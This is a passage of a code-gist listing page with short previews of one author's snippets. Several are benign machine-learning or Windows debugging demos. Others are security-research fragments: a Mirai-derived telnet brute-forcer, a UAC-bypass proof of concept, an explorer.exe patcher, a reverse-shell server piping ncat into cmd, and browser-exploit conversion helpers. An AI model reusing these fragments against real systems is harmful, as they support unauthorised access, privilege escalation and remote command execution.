This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# rewrite by [email protected] | |
# refer: github.com/makeyourownneuralnetwork/makeyourownneuralnetwork/blob/master/part2_neural_network_mnist_data.ipynb | |
import matplotlib, numpy, os, pickle | |
def sigmoid(x): | |
return 1 / (1 + numpy.exp(-x)) | |
def saveModel(): | |
global wih # weight of (input -> hidden) layer ... ( 100, 28^2 ) | |
global who # weight of (hidden -> output) layer ... ( 10, 100 ) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Telnet Bruteforce in Python, by [email protected] | |
# ref: https://github.com/jgamblin/Mirai-Source-Code | |
import socket | |
import sys | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect(('10.118.127.36', 23)) | |
#s.send(b'\xff\xfc\x23\xff\xfa\x1f\x00\xa0\x00\x39\xff\xf0\xff\xfd\x01') |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# co-occurence matrix & cos-similarity, by [email protected] | |
testSample = 'adr have 30cm and shenghao have 30cm' | |
in_sample = testSample.split() | |
corups = set(in_sample) | |
co_matrix = { x: dict.fromkeys(corups, 0) for x in corups } | |
win_size = 1 | |
for indx, curr_token in enumerate(in_sample): | |
if indx - win_size >= 0: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.IO; | |
using System.IO.Compression; | |
using System.Text; | |
using System.Collections.Generic; | |
using System.Configuration.Install; | |
using System.Runtime.InteropServices; | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// SITCON 2020 PoC for Windows 7 x86 | |
// Author: [email protected] | |
// cite: github.com/liuxigu/bypassuac/blob/master/bypassuac/bypassuac.cpp | |
// | |
#include <Shobjidl.h> | |
#include "windows.h" | |
#include "winternl.h" | |
#include <iostream> | |
using namespace std; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// iThome 2020 Demo: Signature Patcher for Explorer | |
// author: [email protected] | |
#include <iostream> | |
#include <Windows.h> | |
int main() { | |
DWORD explorer_pid; | |
GetWindowThreadProcessId(FindWindowA("Shell_TrayWnd", NULL), &explorer_pid); | |
if (HANDLE token = OpenProcess(PROCESS_ALL_ACCESS, FALSE, explorer_pid)) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// VEH Montior by [email protected] | |
#include <stdio.h> | |
#include <windows.h> | |
#pragma warning( disable : 4996 ) | |
LONG __stdcall TrapFilter(PEXCEPTION_POINTERS pexinf) { | |
if (pexinf->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION && ((DWORD)pexinf->ExceptionRecord->ExceptionAddress & 0x80000000)) | |
pexinf->ContextRecord->Eip = pexinf->ContextRecord->Eip ^ 0x80000000; | |
else if (pexinf->ExceptionRecord->ExceptionCode != EXCEPTION_SINGLE_STEP) | |
return EXCEPTION_CONTINUE_SEARCH; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// dynamic patch self function by [email protected] | |
#include <windows.h> | |
#include <algorithm> | |
#include <iterator> | |
using namespace std; | |
void hello() | |
{ | |
puts("Are You Helloing?"); | |
} | |
int main(void) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
''' | |
Cmd Multiple RevShell Server by [email protected] | |
[test] $ ncat localhost 54321 | cmd | |
''' | |
import time, socket | |
def handleClient(connection): | |
try: | |
time.sleep(1) | |
connection.send(b'whoami && echo 123 > ggdada.txt && exit\n') | |
except Exception as e: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Helpers { | |
constructor() { | |
this.cvt_buf = new ArrayBuffer(8); | |
this.cvt_f64a = new Float64Array(this.cvt_buf); | |
this.cvt_u64a = new BigUint64Array(this.cvt_buf); | |
this.cvt_u32a = new Uint32Array(this.cvt_buf); | |
} | |
ftoi(f) { |